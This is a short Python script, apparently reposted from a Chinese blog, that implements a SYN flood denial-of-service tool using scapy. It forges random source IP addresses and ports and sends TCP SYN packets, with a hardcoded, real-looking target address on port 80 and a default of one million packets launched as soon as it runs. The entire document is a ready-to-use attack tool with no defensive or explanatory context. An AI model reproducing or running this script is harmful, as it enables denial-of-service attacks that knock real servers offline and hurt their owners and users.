syn flood

from scapy.all import *
import random


# 生成随机的IP
def randomIP():
    ip = ".".join(map(str, (random.randint(0, 255) for i in range(4))))
    return ip


# 生成随机端口
def randomPort():
    port = random.randint(1000, 10000)
    return port


# syn-flood
def synFlood(count, dstIP, dstPort):
    total = 0
    print("Packets are sending ...")
    for i in range(count):
        # IPlayer
        srcIP = randomIP()
        dstIP = dstIP
        IPlayer = IP(src=srcIP, dst=dstIP)
        # TCPlayer
        srcPort = randomPort()
        TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
        # 发送包
        packet = IPlayer / TCPlayer
        send(packet)
        total += 1
    print("Total packets sent: %i" % total)


# 显示的信息
def info():
    print("#" * 30)
    print("# Welcome to SYN Flood Tool  #")
    print("#" * 30)
    # 输入目标IP和端口
    # dstIP = input("Target IP : ")
    # dstPort = int(input("Target Port : "))
    dstIP = "47.102.63.65"
    dstPort = 80
    return dstIP, dstPort


if __name__ == '__main__':
    dstIP, dstPort = info()
    # count = int(input("Please input the number of packets:"))
    count = 1000000
    synFlood(count, dstIP, dstPort)
原文地址:https://www.cnblogs.com/xuezhihao/p/13671718.html